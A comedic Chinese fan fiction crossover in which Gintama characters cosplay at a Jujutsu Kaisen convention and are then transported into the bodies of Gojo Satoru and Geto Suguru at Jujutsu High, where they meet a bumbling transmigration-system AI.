《当cos穿遇到不正经的魂淡们》
1. 第一章
最近江户流行起来一部动漫，名字叫做《咒术回战》。
坂田银时这个忠实的JUMP漫粉丝，自然也不会不知道，这个可以说是JUMP新台柱之一的漫画。
他躺在万事屋沙发上，举着JUMP看最新一话，在看到最后一页上那句。
“我打宿傩？”
“真的假的？”
坂田银时的表情变得无比复杂，这段出现在热血漫里的画面绝对是史诗级的创新，他忍了忍，最后还是笑了一声。
总感觉最近漫画家的精神状态都不是很行的样子，大家的生活压力都变得这么大了吗？
可恶，他们有什么压力。好歹都是有正经工作，赚大ip钱的，这种所谓的压力简直就是在霸凌，稍微考虑考虑他们这些在底层挣扎的无业游民啊混蛋！
暗暗抱怨完，坂田银时面不改色地翻向下一页，开始阅读下一本漫画的连载。
这时候，神乐抱着一件衣服兴奋地跑过来，站在银时面前。
“银酱，银酱，你看这件衣服。”
坂田银时百忙之中瞥了一眼：“这是突然喜欢黑漆漆的衣服了吗？叛逆期的话神乐你还早哦。”
“才不是呢阿鲁！这个是cos服。”
坂田银时一个仰卧起坐坐了起来，看着神乐手里的衣服好奇地问：“你这是准备cos谁？”
“家入硝子阿鲁！”
坂田银时眼里感兴趣的光瞬间消失，眼睛恢复平时颓废的死鱼眼，重新躺了回去。
“怎么看这个角色都不适合你吧，非要cos咒回的角色的话，你还不如考虑去cos里香… …的咒灵版。”
“为什么不适合我！”神乐一拳呼在坂田银时胸口，无视他的哀嚎，“是我少了什么吗？是身高吗？不！是胸吗？一定是胸吧！”
神乐面目狰狞地捂住自己的胸口，咆哮着：“噢噢噢噢，给我长出来啊！不要认输啊我的胸部！”
“在那之前年纪、脸和性格明明都是更重要的问题吧！”耳膜和身体被双重摧残的坂田银时，捂着胸口从沙发上艰难爬起，忍不住吐槽，“你看看自己哪有一点御姐的感觉。”
“我歌舞町女王怎么可能没有御姐的气质！亏我还觉得银酱能cos五条悟配合我呢！”
坂田银时瞬间收回所有的表情，眨了眨眼睛，有些不好意思地挠了挠自己的卷毛：“诶？你是这么觉得吗？你也觉得银桑我天上地下，唯我独尊，是这个世界最帅最强的存在吗？”
“没有。”神乐鄙夷地看过去，“我只是觉得你们两个都是白发甜食白痴而已。”
“甜食怎么了！？这可是生命的源头，快乐的根本啊喂！你可以侮辱五条悟，但是你不能侮辱我和甜食！”
就在两人争论的话题从“适合cos什么角色”拐到了“甜咸党之争”的时候，志村新八抱着新鲜的食材，拉开了万事屋的门。
“我回来了… …一大早的你们还真是精神啊。”志村新八看了眼时钟，“不过确实也不算是一大早就是了。”
坂田银时和神乐同时转向志村新八，异口同声地问：“甜食和咸食你选哪一个！”
“… …我都可以。”
“唉，这就是被生活榨干的少年吗？明明是最朝气的年纪，却像老头子一样圆滑地处理生活的矛盾，可惜了，明明这么年轻。”
神乐也跟着叹了口气，拍了拍志村新八的肩膀：“新吧唧，辛苦你了，我们会记住你的，记住你一开始朝气的模样。”
“你们以为我生活里的压力来源都是谁啊混蛋！还有不要把人说的好像已
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经入土了！”
志村新八不满地碎碎念着，手上的动作也没有停下，在他往万事屋的冰箱里塞食材的过程中，听着坂田银时和神乐七嘴八舌的解释，理清了事情的来龙去脉。
神乐在追《咒术回战》动画的事情，全万事屋都是知道的，毕竟第二季动画连载的时候，她每次都会熬夜守在电视前追更。
并且曾经在看到涩谷事变里五条悟被封印的时候，激动地捏碎了手里的遥控器，不顾是在半夜，摇醒了坂田银时询问漫画后面有没有把五条悟放出来。
结果却得知五条悟被腰斩的噩耗，陷入更加崩溃的哀嚎，据说那一晚整条街都回荡着她的叫声。
志村新八看向神乐：“说起来，为什么小神乐突然想要cosplay呢？”
对此神乐早有准备，她从背后掏出几张宣传单递给他们：“《咒术回战》马上要开漫展了阿鲁，上面写要是cos角色去的话，能免费吃到自助餐阿鲁！”
“… …所以你就为了一个自助餐。”志村新八无语了一瞬，“不过也像是你能做出的事情。”
“我们去这个漫展吧。”坂田银时大手一揽，火速改口，“神乐，我觉得你cos家入其实非常的合适，到时候我cos五条悟，咱俩就是相亲相爱高专一家人。啊对了，记得到时候多带几个袋子，咱们把下面一周的伙食打包回来。”
“了解！长官！”
“喂！等等，你们认真的吗？蹭吃蹭喝的意图是不是有点太明显了。”
“哦呀哦呀，是担心自己被孤立吗？志村同学。”坂田银时站起来揽过志村新八肩膀，“放心好了，你肯定也是要去的，毕竟多一个人能多一周饭。”
志村新八沉默了几秒，推了推反光的眼镜：“… …要我把姐姐也叫上吗？”
2. 第二章
在另一边的真选组，也在商量着参加漫展的事情。
他们倒不是想白嫖自助餐，而是看上了漫展里的同人制品以及官方请的coser们。
看电视作为生活的娱乐项目之一，他们自然也不会漏掉这个最近大火的动漫，更别说里面还有类型各异的美女小姐姐。
他们看着明显限制级的同人插画，得知喜爱的大大会参加这次的漫展，并且卖出的刊物还是仅供场贩，一时间心里都有点痒痒的。
就在他们商量着用什么借口请假的时候，冲田总悟悄无声息地走到他们背后。
“哦呀，大白天的就这么光明正大摸鱼吗你们？”
几个人瞬间浑身炸毛，一个猛扎地站了起来，心虚地看上看下。
冲田队长不是去巡逻了吗？为什么会在这？
“冲，冲田队长，我们不是，我们只是在，在… … ”
另一个人赶忙接话：“我们在检查市民生活阅读内容是否藏有危险的攘夷思想！”
这借口实在是太烂了，其他几个人生无可念地瞪了眼那人，低着头等待冲田总悟的惩罚。
冲田总悟没有说话，他越过几个人，看到后面桌子上放着一张宣传单，于是走过去拿了起来。
上面写着“《咒术回战》官方首次漫展”，冲田总悟摸了摸下巴，思考了一会，转身看向几人。
“你们是要参加这个漫展？”
几个人看了看彼此，最终认命地承认了。
“诶～不是很有意思吗？”冲田总悟笑了笑，指了指上面的cosplay的相关内容，“那你们要cosplay吗？”
看到几个人齐刷刷地摇了摇头，冲田总悟有些失望地“诶”了一声。
“我觉得还是很有意思的啊，这个动漫我也看过，要不我们一起cos去吧。”
“啊？”
这个意外的发展让几个人有些摸不着头脑，冲田总悟不但没有惩罚他们，没有拒绝他们去漫展，甚至还鼓励他们去cosplay？
这还是他们那个抖s队长吗？
俗话说，事出反常必有妖，孩子静悄悄必在憋大招。
几个人沉默对视几眼，其中一个人大胆地举起手，问：“那，冲田队长是想cos哪个角色呢？”
“嗯？那当然是大反派夏油杰啊。”
“… …”
几个人想吐槽又不敢，先不说夏油杰“大反派”这个标签，他们怀疑冲田总悟只看了0卷剧场版，就说这夏油杰的外貌气质啥的，和冲田总悟也不搭边啊。
他们只好尴尬地再次互相张望，总不能直白地说他身高不符合吧？会死的，绝对会死的。
在一阵眼神交锋之后，一个人视死如归地说：“冲田队长，我觉得您不太适合cos这个角色… …”
在看到冲田总悟的眼神越来越危险，这个人嘴里的话果断转了个弯：“您的… …眼睛太大了！”
“诶，是诶。”冲田总悟一副不疑有他的样子，“可我还蛮喜欢这个角色的。”
众人佩服地看向刚刚说话的人，伸出大拇指为他的聪明才智暗暗点了个赞。
还没等他们把大拇指收回，就听到冲田总悟说出了更惊悚的话。
“土方先生的眼睛的话，应该够小，我们去问问他愿不愿意cos夏油杰吧？”
漫展当天，还没有进入会馆，在外场一眼望去，前面是密密麻麻的人头，后面也是密密麻麻的人头。
漫长的，好似走不完的弯弯绕绕。遥远的，仿佛永远抵达不到的海市蜃楼。
毕竟是官方漫展，活动很多，福利和噱头也很足，还有谷圈人拒绝不了的“仅场贩”、“限定”、“盲抽”。加上本身作品热度就不低，当天现场人挤人，几乎走不动路。
好不容易排了一个多小时队，成功进入会场，在等志村妙上完厕所的时候，好巧不巧，万事屋三人就和真选组撞上了。
坂田银时整了整脸上HelloKitty样式的墨镜，上下打量了一下带着白色假发的冲田总悟。
“真意外，没想到你也会凑这个热闹。”
“我这边也是啊旦那。”
冲田总悟嘴边画着黑色符文，很明显在cos狗卷棘，面无表情不说话时候的样子意外得还很还原。
但下一秒，他看向坂田银时身边的神乐，嗤笑一声，那副鄙夷的表情瞬间让他ooc：“不会吧不会吧，这个萝卜头不会是家入硝子吧？旦那，想凑齐高专三人组也不是这么凑的。”
“什么！你这个吉娃娃！”神乐一秒破功，撸起袖子，“你才是，cos狗卷的话就好好闭上你的嘴，说话只说‘是的，女王大人’就够了！”
“你这是哪个次元的狗卷啊中国女孩。”
在两人习惯性开怼中，坂田银时视线下移，看到了冲田总悟身边，或蹲或趴在地上的几个穿着黑色紧身衣的人，他们脖子上都套着一个项圈，项圈上连接的绳子被冲田总悟握在手中。
每个人身上都贴着奇奇怪怪的触角之类的道具，不过脸上的表情倒是一致的灰白绝望。
坂田银时指了指，问：“那些是什么？”
“这一看就看出来了吧？”冲田总悟一脸纯真地眨巴眨巴眼睛，“夏油杰操控的咒灵们啊。”
地上的这几个人，正是当时商量去漫展被抓个现行的真选组队员，
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他们听到冲田总悟的介绍，阴沉着脸，将头埋得更深了。
他们还是太天真了，小看了冲田总悟的抖s程度，这短短的两个小时的排队进场，他们就收到了无数疑惑和震惊的目光，这给他们留下了巨大的心理阴影，没想到一个小小的漫展就能将他们在社会上死亡。
回去就写辞呈吧，妈妈，城里已经容不下他们了，他们要回乡下。
熟知冲田总悟性格的万事屋三人接受良好，坂田银时甚至觉得这个点子非常的不错。
他接着问：“既然带着咒灵操术操纵的咒灵，那你为什么不cos夏油杰？”
“因为我眼睛太大了不太好cos啊。而且狗卷棘我也很喜欢，如果能用他的咒言术对着土方先生喊一句‘爆裂吧，衣服’，‘窜稀吧，菊花’，那画面肯定很有意思。”
“你是天才吗？可惜了，现实里没有咒言术。”
两个臭味相投的人深深地叹了口气。
志村新八跟着头疼地叹了口气：“我倒是庆幸这个世界上没有咒言术，不然我不敢想象这个地方会变成什么样子。”
冲田总悟看过去，稍稍打量了下志村新八：“咦，新八没有cos什么角色吗？”
志村新八：“… …”
“有啊有啊。”坂田银时一把抓过志村新八，指了指他脸上的眼镜，“这就是我家的夏油杰。”
眼镜的左镜框上，一撮假发粘在上面，正在微风中荡漾。
“噢噢噢，这夏油杰的还原度好高啊。”
两人一唱一和让志村新八忍不住瞬间红温，他忍住扔掉本体的冲动，抱怨着：“开什么玩笑！哪有人在别人眼镜上贴一撮刘海就能当cos的！”
“没办法啊阿八，我家的经济条件你也是知道的，没钱给你也买套cos服了。”
“我就不能穿正常的、哪怕是便宜的cos服进场吗？！”
“我觉得你现在这样也已经很正常了。”
眼看万事屋内部要因为cos预算分配不均打起来的时候，“咒灵们”的主人回来了。
“那个，不好意思，让你们久等了吗？”
众人看去，只见来人穿着高专时期夏油杰的校服，头发整齐的束着，画龙点睛的小眼睛不安地瞥来瞥去，右手抱住自己的左胳膊。
见众人都看向自己，那人浑身打了个颤：“yo… …哟，没想到再见面了啊，坂田氏。”
来的人正是土方十四郎，那个真选组的鬼之副长… …的御宅族形态！
万事屋三人看着面前尽显猥琐本色的“夏油杰”，默默地给不用想就知道是始作俑者的冲田总悟比了个大拇指，并且齐齐后退了一大步。
3. 第三章
冲田总悟浑然不觉自己行为的恐怖，他点了点人数：“人来齐了，那我们就先进去吧。”
他从背后掏出一个皮鞭，用力在地上一甩，发出一声巨响。
“走吧，我的‘咒灵’们，开始我们的巡演吧。”
万事屋三人齐齐后退一步，目送这个诡异的团体渐渐走远。
志村新八将眼睛藏匿于反光的镜片下，心有余悸地说：“… …总觉得冲田嘴里说的‘咒灵’好像变成了其他的意思了，是我的错觉吗？”
神乐将伞扔在地上，避免衣服被弄脏，再一屁股坐上去：“不要太追究这些，就是你想的那个意思。”
“不不不，这反而更让人纠结了吧？！他们真的不会把会场变成什么奇怪的样子吗？”
坂田银时无聊地打了个哈欠：“漫展开在我们这个星球，本身就已经要做好变成奇怪样子的准备了吧？”
说话间，好不容易排完队，上完厕所的志村妙笑眯眯地挥手走来。
会合的四人非常有目的性得直奔自助餐厅。
自助餐厅里比起别的地方人少了一点，加上坂田银时他们来得早，一路上又是横冲直撞，所以倒是很快就排了进去。
但遗憾的是，同样因为时间还早，上的菜品大多数都是早餐类。不过这并难不倒无敌的万事屋，他们来者不拒，边吃带拿的，以风卷残云的速度扫光了剩下的菜品。
然后坐在食物堆成一座小山的桌子边，开始填饱他们专门为此饿了几天的肚子。
这一副上辈子加这辈子都没吃过饭的饿狼模样，惊呆了还在排队的众人，直到他们看着工作人员挂出“售空，请十一点半再来排队”的标识才回过神，开始骂骂咧咧。
坂田银时几个人完全不受影响，一口稀饭一口烤鱼，准备就这样赖到十一点半的午餐时间，省掉排队的功夫，直接再来一波风卷残云。
“什么？不见了？不小心把两个人弄到不知道哪个世界的星球了？开什么玩笑！这是不小心就能解释的问题吗？！”
在吵闹声中，坂田银时注意到离他们不远处，有一桌特意围起来的“贵宾席”。
一个穿着价格不菲的西装的绿皮外星人，正举着他那戴着“虽然认不出什么牌子但一看就很贵的手表”的手，通过手里的手机，和对面沟通着业务。
但看起来好像并不是很顺利的样子，他紧皱着眉头，扬高着声音，面前昂贵的和牛牛排一口都没有吃，就在盘子里等着凉透。
坂田银时嚼着嘴里的早餐，看了那个外星人好一会。当然，比起这有钱人被搞砸的生意，他更在乎那盘牛排。
这份牛排可能是VIP的特属餐点，并没有出现在菜品摆放区，于是没有犹豫多久，坂田银时直接冲着那个外星人举起来手，大声问：“那边那个哥布林大叔，牛排你不准备吃的话，要不要让我帮忙啊？”
志村新八和神乐猛地停下手里的动作，一脸谴责地看向银时。
这个混蛋银毛竟然想吃独食？
于是默契地按下坂田银时，开始争相竞争只此一份的牛排。
看着面前打闹成一团的几人，本来就烦的“哥布林大叔”直接没了吃早饭的兴致。
他不屑地看了眼银时几人，保持着通话的姿势，离开了现场。
万事屋三人也毫不客气，立马扑了上去，抢牛排的样子丝毫没有理应相亲相爱的模样，不知道的还以为是有杀父之仇的敌人。
志村妙无奈地摇了摇头：“真是的，桌子上这些都不够你们吃的吗？没办法，我来给你们一点爱的加餐惊喜吧?。”
于是在谁也没注意到的情况下，她从背包里掏出了一个饭盒，将里面散发着黑色气息的马赛克一个个藏到了三人的早餐里面。
毫不知情的万事屋三人因此昏厥在了餐桌上，导致差点被救护车拉走的事情，成为了漫展结束后一个不小的讨论热点。
折腾了不少时间，最后当在生死边缘挣扎过一轮的三人，满脸虚脱地背着宛如赶集的大包小包，站在人群中时，已经到了下午活动快要开始的时间。
“银桑，你这是要去哪？”
看着坂田银时朝着相反的方向走，志村新八忍不住好奇。
“诶？没有告诉你们吗？”坂田银时毫无愧疚地提了提鼻梁上的墨镜，“我之前接了个委托，对方想要活动送的超稀有限定立牌。”
志村新八抬头看了看据说是活动的场地，看着那边乌泱泱的人群，额头上忍不住流下冷汗。
“算了吧，我就不去了。而且食物要快点保存起来，不然这个天气容易坏。”
坂田银时想了想，觉得志村新八说得有道理，于是将背上背的食物给了神乐。
“诶，我不要，怎么能让美少女背这么重的东西阿鲁。”
“明白了明白了，回来给你带包醋昆布。”
“我才不是那么好打发的女人呢！至少一周份！”
坂田银时想了想委托到手的报酬，加上活动时间快开始了，于是敷衍着答应了。
“绝对，绝对！不能在路上偷吃啊！”
他最后叮嘱了一句，便大步朝着活动地点跑去。
为了配合还原cos的五条悟，坂田银时今天特意还垫了十几厘米的增高垫，可恶的一米九。走路的时候不觉得，跑起来才感觉脚上有些不稳。
活动舞台那边已经响起主持人的声音，他专注着朝那边赶去，没注意到周围，一个不小心和别人撞了个满怀。
“疼疼疼，是谁啊？银桑我可是赶时间啊喂。”
“坂、坂田氏？是你在这么多人里乱跑… …”
坂田银时看向虽然变得唯唯诺诺，但是依然用着最怂的语气反驳别人的土方十四郎，嘴角抽了抽。
“算了，没时间和你耗，我大人有大量的原谅你了。”
说完，坂田银时拍了拍屁股上的灰，站起来就要继续赶路。
这时，一道耀眼的光从上面打了下来，就像是话剧舞台的聚光灯，精准无误地打在坂田银时和宅十四两人身上。
坂田银时眯着眼，想向上看看到底是哪来的光源，突然就眼睛一花，接着原本应该是遍布钢筋水泥的顶部，此时却变成了湛蓝的天空。
宅十四张大着嘴，惊奇地环顾四周：“噢噢噢！这是什么？全息投影吗？好逼真啊，主办方这么下血本吗？”
他站了起来，听着耳边的鸟鸣，感受着指
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尖吹过的微风，看着周围古旧的木质建筑，兴奋得不行。
“坂田氏，坂田氏，这个好像是咒术高专的建筑诶，这次主办方这么下血本吗？”没等坂田银时回复，他冲着天空用力挥动双臂，“啊，主办方大人！能听见吗！那个，能不能让魔法美少女变身的画面也这样全息投影出来啊，到时候我肯定会好好跪拜在地，虔诚地观摩。”
宅十四激动地说了一连串，却发现坂田银时并没有回答他，他暂时按下雀跃的心情，看向刚刚开始就一直捂着眼睛的坂田银时。
“坂田氏，你怎么了？晕全息吗？”
“… …不，唔，好像有点。”
坂田银时从牙缝里挤出几个字，从场景变换开始，他就觉得自己的视角有些奇怪，像是射击游戏里开了透视挂一样，而且这个挂还能显示360度范围内超远的画面。
只要头稍微动一动，所有画面就会一起变化，不光如此，还有一大堆看得懂、看不懂的信息涌入他的脑子里，因为要处理这复杂的画面，他的脑子现在感到无比的晕眩。
他强忍想要吐出来的欲望，深吸一口气，抬起头看了看周围，最后看向了宅十四。
“… …你谁？”
“我啊！坂田氏！你真的没问题吗？本来脑子就不灵光了，这下不会干脆坏了吧？！”
“你说谁脑子不灵光… …啊。”
坂田银时愤怒的声音卡了一下，伸手摸了摸自己的喉咙，在宅十四（存疑）惊恐的眼神中，发出各种毫无意义的“啊”“咦”“哦”之类的声音。
“啊啊啊啊啊！我的声音！我杉田智和的声音变成中村悠一了啊啊！”
坂田银时惊疑不定地拽了拽自己的头发，然后继续嚎：“我的头发！竟然终于变成白顺直了啊啊！哈哈哈哈！呕呕，头好晕… …哈哈哈。”
他伴随着视野乱动而引起的眩晕，激动地抱着头，在原地转着圈扭曲身体，边狂笑边呕吐。
一方的宅十四这才注意到自己身体的异常，他拽了拽自己的刘海，崩溃地大喊：“啊啊啊啊！我那帅气的v型刘海没有了！还有我的声音！我的声音塌房了啊！”
就在两人沉浸地为自己得到和失去的东西或狂喜，或崩溃的时候，第三人的声音突然响起。
“悟，杰，你们… …你们又在干什么？”来人看了眼坂田银时的墨镜，再看了看宅十四背后的刀，“还有你们这副打扮… …”
两人停住动作，看向那人，然后不到一秒就认出了面前这个粗犷猛男的身份。
坂田银时率先打招呼：“哟，这不是夜蛾吗？好久不见这么拉了。”
但似乎打招呼的方式不对，并没有得到夜蛾热情的回应，反而让他的脑门上蹦出了一个青筋。
“很闲的话，要么去做任务，要么去教室给我学习！”
面对夜蛾的怒吼，宅十四丝毫没有害怕：“噢噢噢，这是哪位coser吗？还是全息里设置的npc？还原度好高啊。”
说着他甚至还上手摸了摸夜蛾的头。
夜蛾只觉得自己脑子里一根名为“理智”的神经断掉了，他一把抓住土方十四郎的胳膊，从牙缝里挤出：“夏！油！杰！！”
4. 第四章
“噗哈哈哈。”
虽然不知道前因后果，但是看到两个人渣被揍得很惨，家入硝子还是忍不住笑了出来。
夜蛾正道神色复杂地看了眼家入硝子，只感觉自己头都要秃了，这一届就三个学生，结果却一个赛一个的不省心。
而被教训了的另外两个学生，却并没有乖乖地安静下来。
在他怒极一手握骨折夏油杰的胳膊之后，他竟然看到那个平时待人温和、彬彬有礼的优等生，捂着自己的胳膊在地上嚎叫着打滚。
这场面实在是过于惊悚，以至于夜蛾心里的怒气一瞬间就消散干净。
他瞪了眼看着夏油杰打滚而边大笑边呕吐的五条悟，费劲地把人扛到了家入硝子的面前，让她治疗一下，否则夜蛾一点也不怀疑，这震撼的画面会传遍整个高专，不，整个咒术界。
五条悟，或者说坂田银时，虽然自己还因为奇怪的视角难受着，但这丝毫不妨碍他看宅十四的笑话。
他新奇地凑上前，看着家入硝子用反转术式进行治疗。
在他的眼睛里，从家入硝子的身上流动着一股力量，这股力量最终汇聚在手掌，然后修补着宅十四裂开的骨头。
没有过多久，宅十四就停止了嚎叫，试探性地动了动自己的胳膊。
“这么神奇，竟然真的不疼了。”
坂田银时上前捏了捏原本骨裂的地方：“难道是疼痛开启和屏蔽之类的设置吗？这个全息投影也太真实了吧喂。”
“疼痛开启、屏蔽？全息投影？”家入硝子疑惑地看着两个同期，“这是什么？你们任务遇到的东西吗？”
坂田银时和宅十四对视了一眼，伸手一人一边，拍了拍家入硝子的肩膀。
“这些你这个npc就不用知道了。”
“… …你们两个人渣终于脑子还是坏了吗？”
夜蛾正道也差不多习惯自己这两个学生的不正经了，他忽视两人奇奇怪怪的话语，揉了揉额角。
“你们是出任务刚回来？”
坂田银时认定自己在全息投影中之后，就猜想，这应该是他们开启故事的前情提要，于是顺着剧情演下去。
他猛地一甩头，秀了下现在都顺直发，做作地撩了下刘海，在凳子上翘起二郎腿：“对哦，毕竟我是最强的。”
夜蛾正道：“… …”
这和刚刚自己的问题有什么关系吗？
和坂田银时一个脑回路的宅十四，明白了他的意思，有些不满地说：“这里的台词不应该是‘我们是最强的’吗？”
“万一现在大屏幕正放着这里情况怎么办？这可是五条悟的名台词，不要抢了我说名台词的风头啊！”
“但是你也不能破坏设定啊，你要说这名台词还早了十几年呢！而且你还高血糖。”
“这和高血糖有什么关系，不要说得别人好像有什么严重的过往病史一样。再说，高血糖怎么了！说明我对甜食爱得深沉啊，‘专一’这个属性在这个年代可是很吃香的。”
看着莫名其妙开始吵起来的两人，家入硝子习以为常地挥手离开了，完全没有想管这两人的心思。
只剩下一个头疼的夜蛾正道，他给两人一人一拳，用物理方式制止了两人毫无意义的争吵。
“不管怎么样，每人一篇任务报告，明早上课交。”
然后就眼不见为净地离开了。
坂田银时和宅十四捂着鼓着大包的头，斯哈斯哈地吸着气，也没了斗嘴的心思。
下课铃准时响起，教室窗外的风景被晚霞染上一片橘黄，没人说话的教室安静无比。
嘹亮的肚子响在空荡的教室响起。
两人默契地站起身，开始觅食，顺便在放学后的校园内闲逛。
“啊，是前辈们！”
隔老远，坂田银时就看到一个元气少年朝着自己这边挥手，在他的边上是一个满脸嫌弃的金发少年。
正好，他们正愁找不到去食堂的路呢，“自愿”带路的冤大头们就出现了。
“哟，大眼仔和娜娜明。”
坂田银时毫无被嫌弃的自觉，大步走过去，一把子揽住七海建人。
被嫌弃的是五条悟，和他坂田银时有什么关系。
七海建人先是嫌弃地看了眼坂田银时戴着的HelloKitty墨镜，再看了眼宅十四背后风格和他格格不入的武士刀，忍住了吐槽的欲望。
总有种如果说出来就输了的感觉。
虽然已经满脑门的青筋，但最终他还是礼貌地说：“请不要这么称呼我，五条前辈。”
他这小小的要求得到了坂田银时和土方十四郎的一致忽视。
土方十四郎看了眼两人手上打包的食物：“你们刚从食堂出来吗？”
毫无危机感的灰原雄点了点头，举起手里的甜点：“嗯，对。今天食堂出了新品的甜点，听人说非常好吃，所以我顺便买点回宿舍尝尝。”
“那正好，我们一起去食堂吧。”
“啊？”灰原雄疑惑地看着土方十四郎，“可我刚刚从食堂离开。”
土方十四郎伸出胳膊揽住灰原雄，用夏油杰的脸笑得一派和蔼：“正好再去一次嘛，毕竟我们见面的机会也不多。”
“没错没错。”坂田银时附和着，“难道你们不想和亲亲前辈们一起增加感情吗？”
七海建人果断说：“不想。”
坂田银时故意不满地嘟着嘴：“又来了，娜娜明这样可不行哦，傲娇已经过时了哦，现在打直球的主角更容易告白成功哦。”
近距离被这卖萌的表情暴击的七海建人，只觉得浑身鸡皮疙瘩都立了起来，他嫌恶的表情毫不掩饰的显示出来，想要逃却该死的逃不掉。
他深深反思，果然，来到咒术高专是个错误的选择吧？
一路不知道差点走错多少岔路，好在两个后辈接受命运之后，只想着快点结束噩梦，非常尽职且及时地纠正了道路。
如果是别人，七海建人和灰原雄还会怀疑一下为什么表现的像是第一天来到高专，但鉴于面前的是两个以整人为乐的人渣前辈，他们下意识地觉得是两人故意找他们乐子。
于是避免自己被拉入更深的深渊，两人对坂田银时和土方十四郎频频走错路的行为闭嘴不提。
去食堂的路并不是很远，七海建人还没来得及为自己脱离魔爪感到喜悦，只见坂田银时非常自然地朝着他伸出手。
七海建人：“？”
“亲爱的后辈哦，能不能借你前辈一点钱吃个晚饭，啊当然
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，五条悟会还给你的。”
“啊，我也是。”宅十四同样朝着七海建人伸出手，“账就记在五条悟身上吧。”
七海建人只觉得自己额角狂跳：“… …为什么是我？”
“什么啊。”灰原雄反而松了口气，“还以为前辈们想要整我们呢，原来是没带钱吗？”
“我觉得不管哪种情况都很糟糕吧？”
灰原雄爽快地从口袋里掏出钱包：“这点小钱就不需要还了啦，我来帮前辈你们付。”
说出这句话的灰原雄，在接下来的几分钟内就后悔了。
他看着坂田银时和土方十四郎照着菜单挨个点了过去，面色渐渐开始发青。
“… …那个，前辈们，只是一顿晚饭，需要吃这么多吗？”
“你在说什么呢大眼仔。”坂田银时摇了摇食指，“我们万事屋的原则就是，有人请客，就不要客气，尽全力将其榨干。”
宅十四露出不好意思的笑容：“抱歉了，是不是点的有点多了… …啊，麻烦这个也来一份。”
觉得抱歉的话，就不要再继续点下去了啊。
灰原雄在心里呐喊着，吐槽着，握着钱包的双手止不住地打颤。
七海建人同情地看了一眼自己的同期，上前一步制止了两个前辈。
“点那么多前辈们是准备一晚上全部吃完吗？现在可不是冬天，没有冰箱的宿舍不方便保存食物。”
坂田银时和宅十四这才想起来，这个高专宿舍可能没有冰箱的存在，于是只好满脸可惜地停了下来。
点了个痛快的他们拎着大包小包的食物，满脸满足地跟在七海建人和灰原雄的身后。
灰原雄欲哭无泪：“前，前辈们还想做什么？”
坂田银时满脸纯良：“没有没有，只是和你们一起回宿舍而已。”
但这短短的时间内，被迫害的七海建人和灰原雄已经不相信他们两个的话了。
于是就这么心惊胆战了一路，好在觅食成功的坂田银时和土方十四郎两人，也暂时没有别的想法。
在分岔路询问出具体的宿舍之后，几人便分别了。
坂田银时推开据说是五条悟的房间，将大包小包放在桌子上，拿起其中的甜点，环顾了下整个屋子。
屋子里意外的整洁，床头放着游戏机和耳机，桌子上随意的散落着几张写满各种公式的稿纸。
坂田银时边感叹着场景意外的还挺还原，边吃完了一顿丰盛的晚饭，然后打着嗝玩了会游戏机。
夜渐渐深了，高专也早在他们去食堂和回宿舍的路上逛得差不多了。
一时间不知道干什么，坂田银时有些不耐地皱了皱眉，本来他以为这个全息投影活动体验时间结束之后，他就能回到现实世界。
但他都强打精神撑了这么久了，不说退出，连系统语音都听不到。
难道这里时间的流速和外界不一样？那自己要什么时候才能回去。他还急着抢超稀有的限定场贩立牌呢。
就在他快要撑不住入睡的时候，他的耳边响起了一个刺耳的笛鸣声，接着，一个机械化的女声响起。
【欢迎使用cos穿系统，本系统将竭力为您提供便捷，祝您在新的世界内，成功演绎好所穿角色。】
5. 第五章
推动着手中的摇杆，操纵着游戏机里的小人，在一个巴掌大都没有的屏幕内上窜下跳。
不光要专注于躲过从上方不定时掉下来的倒刺，还要小心脚下的路突然消失。
一顿极其烧脑的操作过后，等回过神，坂田银时就发现他来到了一片空白的地方。
躺在他边上的是呼呼大睡的夏油杰（土方十四郎版（御宅版））。
好多个括号啊，以后不会越加越多吧？
坂田银时感叹着宅十四真是心大，这都能睡着。
就这么一个小小的分心，游戏机的屏幕上就跳出了猩红的“YOU ARE DEAD”。
他瘪了瘪嘴，想着五条悟玩得这什么地狱模式游戏，是给人玩的吗？一关里最多活下来一分钟，一点游戏体验都没有。
于是干脆收起游戏机，边用脚踢醒宅十四，边观察着周围。
周围一片空白，只有一个偌大的液晶显示屏凭空悬挂着，想不注意到都难，而且也不难猜测，这恐怕和他隐约听到的那什么系统有关。
“你知道发生什么事了吗？”
坂田银时顺口回道：“我怎么会知道，总不会是为了提高参与者的代入感，而写的什么剧本吧？”
说完他觉得有点不对劲，低头看去，那个套着夏油皮的宅十四还躺在地上流哈喇子。
那和自己说话的是谁？难道是幽、幽… …
意识到这点，他的脸上瞬间冷汗直流。
诶？不是吧？这么亮的地方也会遇到吗？
这种地方特色不应该暗戳戳地待在黑暗的角落，然后对着不怕死的探险家来一个要命的surprise吗？
银桑我什么都没做啊！要找找别人啊！
一瞬间鸵鸟模式启动，他低头看着自己的手，希望通过这个方式让自己降低存在感。
啊，这手可真手啊。
但是搭话的对方显然不想放过他，甚至毫无边界感地走到坂田银时面前，弯腰将自己的脸放在他的视线内。
坂田银时大叫着，边挥舞双手，边拼命向后退。
“你是进来的时候脑子落地，摔坏了神经吗？”
熟悉的声音加上这股烟味，坂田银时睁眼一看，正是土方十四郎本人的脸。
但这并不足以让他安心。
他在宅十四和土方十四郎之间疯狂转头：“既然你的身体躺在这，那你现在又是以什么方式存在啊？难道是幽… …”
“你瞎说什么呢！怎么会有幽… …的存在啊。”土方十四郎浑身炸毛，双手颤抖着将烟反着塞到嘴里，“就是那个啊，那个，分身，对！影分身之术，我们最近去隔壁忍者进修了一下。”
“原来是影分身，你以为我会信吗？！很明显你现在都是半透明了！”
“不要说出来啊混蛋！我不想变成连自己都害怕的存在啊！”
两人声音越来越大，终于成功吵醒了地上的宅十四。
他从地上坐起，疲惫地揉了揉自己的眼睛。
下一秒，一双手就掐住了他的脖子，带着他来回摇晃，模糊的视线中，只能看到一双狰狞的眼睛。
“快点把身体还给我啊！你这个身体小偷！”
就在场面快要变得一发不可收拾的时候，安静的空间内响起他们一开始听到的机械女声。
【欢迎来到，cos穿系统的秘密空间，我是你们的引路人，一款未来必定会响彻寰宇的人工智能——小ai】
坂田银时嫌弃地指着屏幕：“为什么是未来式？话说这名字很明显是抄袭xx同学吧？”
土方十四郎咂了咂嘴，紧接着说道：“而且一看就没有用心起名字，一个AI叫小ai？那全世界的人类生下来的时候干脆都叫小人得了。”
人工智能小ai很明显并没有想到，自己一登场就获得了两人的吐槽，这些不同于程序预设定的回答让ta卡在了原地。
只见偌大的屏幕上，黑色背景白色字幕的左下角，多了横排着的不断跳跃的三个点。
就像是不知道怎么回复女神信息的宅男，不断在输入框里重复着打字、删除，对面看了半天“对方正在输入中”，结果最后一个句号都没发过来。
